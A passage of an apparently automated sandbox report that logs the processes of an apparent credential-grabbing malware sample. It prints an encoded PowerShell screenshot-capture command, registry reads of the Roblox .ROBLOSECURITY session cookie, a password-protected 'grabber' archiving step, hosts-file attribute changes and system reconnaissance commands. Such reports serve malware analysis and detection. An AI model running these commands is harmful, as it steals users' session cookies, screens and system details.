jAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	01:19:34
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	01:19:34
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	01:19:34
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	01:19:35
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0xf0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	01:19:35
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7708, Parent PID: 2588

General

Target ID:	73
Start time:	01:19:35
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	01:19:35
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	01:19:35
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	01:19:36
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tree.com
Wow64 process (32bit):	true
Commandline:	tree /A /F
Imagebase:	0x8e0000
File size:	17'920 bytes
MD5 hash:	7E896B29B309DE74A72DEC7D59715EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	01:19:36
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0xb0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	01:19:36
Start date:	05/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline"
Imagebase:	0x980000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	01:19:37
Start date:	05/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED03.tmp" "c:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP"
Imagebase:	0xce0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	01:19:37
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	01:19:37
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 5312, Parent PID: 7732

General

Target ID:	82
Start time:	01:19:37
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	01:19:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	01:19:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	01:19:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	01:19:38
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tree.com
Wow64 process (32bit):	true
Commandline:	tree /A /F
Imagebase:	0x8e0000
File size:	17'920 bytes
MD5 hash:	7E896B29B309DE74A72DEC7D59715EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	01:19:38
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\getmac.exe
Wow64 process (32bit):	true
Commandline:	getmac
Imagebase:	0xcf0000
File size:	65'024 bytes
MD5 hash:	31874C37626D02373768F72A64E76214
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	01:19:38
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0xb0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	01:19:39
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3624, Parent PID: 7732

General

Target ID:	90
Start time:	01:19:40
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5592, Parent PID: 8032

General

Target ID:	91
Start time:	01:19:40
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist /FO LIST
Imagebase:	0xb00000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tree.com
Wow64 process (32bit):	true
Commandline:	tree /A /F
Imagebase:	0x8e0000
File size:	17'920 bytes
MD5 hash:	7E896B29B309DE74A72DEC7D59715EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	01:19:41
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7660, Parent PID: 7588

General

Target ID:	99
Start time:	01:19:42
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	01:19:42
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tree.com
Wow64 process (32bit):	true
Commandline:	tree /A /F
Imagebase:	0x8e0000
File size:	17'920 bytes
MD5 hash:	7E896B29B309DE74A72DEC7D59715EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	01:19:42
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7648, Parent PID: 7676

General

Target ID:	102
Start time:	01:19:42
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	01:19:42
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tree.com
Wow64 process (32bit):	true
Commandline:	tree /A /F
Imagebase:	0x8e0000
File size:	17'920 bytes
MD5 hash:	7E896B29B309DE74A72DEC7D59715EFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	01:19:43
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	01:19:43
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	01:19:44
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	01:19:46
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	01:19:46
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	01:19:46
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *
Imagebase:	0x7ff6faa20000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	01:19:48
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	01:19:48
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	01:19:49
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic os get Caption
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	01:19:50
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	01:19:50
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	01:19:50
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	01:19:52
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
